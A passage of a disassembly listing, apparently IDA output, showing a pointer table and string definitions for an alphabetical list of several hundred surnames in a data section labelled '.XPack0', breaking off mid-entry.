dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: .XPack0:00431420o align 10h aZwiers db 'Zwiers',0 ; DATA XREF: .XPack0:0043141Co align 4 aZurn db 'Zurn',0 ; DATA XREF: .XPack0:00431418o align 10h aZucconi db 'Zucconi',0 ; DATA XREF: .XPack0:00431414o aZoldak db 'Zoldak',0 ; DATA XREF: .XPack0:00431410o align 10h aZerbini db 'Zerbini',0 ; DATA XREF: .XPack0:0043140Co aZegans db 'Zegans',0 ; DATA XREF: .XPack0:00431408o align 10h aZangwill db 'Zangwill',0 ; DATA XREF: .XPack0:00431404o align 4 aZahedi db 'Zahedi',0 ; DATA XREF: .XPack0:00431400o align 4 aZachary db 'Zachary',0 ; DATA XREF: .XPack0:004313FCo aYu db 'Yu',0 ; DATA XREF: .XPack0:004313F8o align 10h aYoukSee db 'Youk-See',0 ; DATA XREF: .XPack0:004313F4o align 4 aYoo db 'Yoo',0 ; DATA XREF: .XPack0:004313F0o aYoffe db 'Yoffe',0 ; DATA XREF: .XPack0:004313ECo align 4 aYetiv db 'Yetiv',0 ; DATA XREF: .XPack0:004313E8o align 10h aYesson db 'Yesson',0 ; DATA XREF: .XPack0:004313E4o align 4 aYedidia db 'Yedidia',0 ; DATA XREF: .XPack0:004313E0o aYbarra db 'Ybarra',0 ; DATA XREF: .XPack0:004313DCo align 4 aYates db 'Yates',0 ; DATA XREF: .XPack0:004313D8o align 10h aYarchuk db 'Yarchuk',0 ; DATA XREF: .XPack0:004313D4o aYankee db 'Yankee',0 ; DATA XREF: .XPack0:004313D0o align 10h aYamane db 'Yamane',0 ; DATA XREF: .XPack0:004313CCo align 4 aYacono db 'Yacono',0 ; DATA XREF: .XPack0:004313C8o align 10h aVotey db 'Votey',0 ; DATA XREF: .XPack0:004313C4o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: .XPack0:004313C0o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: .XPack0:004313BCo align 10h aWoods db 'Woods',0 ; DATA XREF: .XPack0:004313B8o align 4 aWooden db 'Wooden',0 ; DATA XREF: .XPack0:004313B4o align 10h aWoo db 'Woo',0 ; DATA XREF: .XPack0:004313B0o aVonhoffman db 'VonHoffman',0 ; DATA XREF: .XPack0:004313ACo align 10h aWolk db 'Wolk',0 ; DATA XREF: .XPack0:004313A8o align 4 aVoigt db 'Voigt',0 ; DATA XREF: .XPack0:004313A4o align 10h aViviani db 'Viviani',0 ; DATA XREF: .XPack0:004313A0o aVitali db 'Vitali',0 ; DATA XREF: .XPack0:0043139Co align 10h aWilson db 'Wilson',0 ; DATA XREF: .XPack0:00431398o align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: .XPack0:00431394o aVillarreal db 'Villarreal',0 ; DATA XREF: .XPack0:00431390o align 10h aWilkinson db 'Wilkinson',0 ; DATA XREF: .XPack0:0043138Co align 4 aWilkin db 'Wilkin',0 ; DATA XREF: .XPack0:00431388o align 4 aWilk db 'Wilk',0 ; DATA XREF: .XPack0:00431384o align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: .XPack0:00431380o aWilder db 'Wilder',0 ; DATA XREF: .XPack0:0043137Co align 4 aVignola db 'Vignola',0 ; DATA XREF: .XPack0:00431378o aViens db 'Viens',0 ; DATA XREF: .XPack0:00431374o align 4 aWiener db 'Wiener',0 ; DATA XREF: .XPack0:00431370o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: .XPack0:0043136Co aViano db 'Viano',0 ; DATA XREF: .XPack0:00431368o align 4 aViana db 'Viana',0 ; DATA XREF: .XPack0:00431364o align 10h aWhittaker db 'Whittaker',0 ; DATA XREF: .XPack0:00431360o align 4 aWhitla db 'Whitla',0 ; DATA XREF: .XPack0:0043135Co align 4 aWhite db 'White',0 ; DATA XREF: .XPack0:00431358o align 4 aWhilton db 'Whilton',0 ; DATA XREF: .XPack0:00431354o aWhately db 'Whately',0 ; DATA XREF: .XPack0:00431350o aWetzel db 'Wetzel',0 ; DATA XREF: .XPack0:0043134Co align 4 aWescott db 'Wescott',0 ; DATA XREF: .XPack0:00431348o aVerghese db 'Verghese',0 ; DATA XREF: .XPack0:00431344o align 4 aVenne db 'Venne',0 ; DATA XREF: .XPack0:00431340o align 10h aWengret db 'Wengret',0 ; DATA XREF: .XPack0:0043133Co aWelsh db 'Welsh',0 ; DATA XREF: .XPack0:00431338o align 10h aWelles db 'Welles',0 ; DATA XREF: .XPack0:00431334o align 4 aVelasquez db 'Velasquez',0 ; DATA XREF: .XPack0:00431330o align 4 aWeissman db 'Weissman',0 ; DATA XREF: .XPack0:0043132Co align 10h aWeissbourd db 'Weissbourd',0 ; DATA XREF: .XPack0:00431328o align 4 aWeinhaus db 'Weinhaus',0 ; DATA XREF: .XPack0:00431324o align 4 aWeingarten db 'Weingarten',0 ; DATA XREF: .XPack0:00431320o align 4 aWeighart db 'Weighart',0 ; DATA XREF: .XPack0:0043131Co align 10h aWaugh db 'Waugh',0 ; DATA XREF: .XPack0:00431318o align 4 aVasquez db 'Vasquez',0 ; DATA XREF: .XPack0:00431314o aWasowska db 'Wasowska',0 ; DATA XREF: .XPack0:00431310o align 4 aWarshafsky db 'Warshafsky',0 ; DATA XREF: .XPack0:0043130Co align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: .XPack0:00431308o align 4 aVandenberg db 'Vandenberg',0 ; DATA XREF: .XPack0:00431304o align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: .XPack0:00431300o aVanallen db 'vanAllen',0 ; DATA XREF: .XPack0:004312FCo align 4 aWalter db 'Walter',0 ; DATA XREF: .XPack0:004312F8o align 10h aWallenberg db 'Wallenberg',0 ; DATA XREF: .XPack0:004312F4o align 4 aWales db 'Wales',0 ; DATA XREF: .XPack0:004312F0o align 4 aValencia db 'Valencia',0 ; DATA XREF: .XPack0:004312ECo align 10h aValberg db 'Valberg',0 ; DATA XREF: .XPack0:004312E8o aWaite db 'Waite',0 ; DATA XREF: .XPack0:004312E4o align 10h aVacca db 'Vacca',0 ; DATA XREF: .XPack0:004312E0o align 4 aUzuner db 'Uzuner',0 ; DATA XREF: .XPack0:004312DCo align 10h aUsdan db 'Usdan',0 ; DATA XREF: .XPack0:004312D8o align 4 aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: .XPack0:004312D4o align 4 aUrban db 'Urban',0 ; DATA XREF: .XPack0:004312D0o align 10h aUpsdell db 'Upsdell',0 ; DATA XREF: .XPack0:004312CCo aUntermeyer db 'Untermeyer',0 ; DATA XREF: .XPack0:004312C8o align 4 aUllman db 'Ullman',0 ; DATA XREF: .XPack0:004312C4o align 4 aTzamarias db 'Tzamarias',0 ; DATA XREF: .XPack0:004312C0o align 4 aTwells db 'Twells',0 ; DATA XREF: .XPack0:004312BCo align 10h aTuttle db 'Tuttle',0 ; DATA XREF: .XPack0:004312B8o align 4 aTurek db 'Turek',0 ; DATA XREF: .XPack0:004312B4o align 10h aTurano db 'Turano',0 ; DATA XREF: .XPack0:004312B0o align 4 aTukan db 'Tukan',0 ; DATA XREF: .XPack0:004312ACo align 10h aTudge db 'Tudge',0 ; DATA XREF: .XPack0:004312A8o align 4 aTuck db 'Tuck',0 ; DATA XREF: .XPack0:004312A4o align 10h aTsukurov db 'Tsukurov',0 ; DATA XREF: .XPack0:004312A0o align 4 aTsomides db 'Tsomides',0 ; DATA XREF: .XPack0:0043129Co align 4 aTsiatis db 'Tsiatis',0 ; DATA XREF: .XPack0:00431298o aTruss db 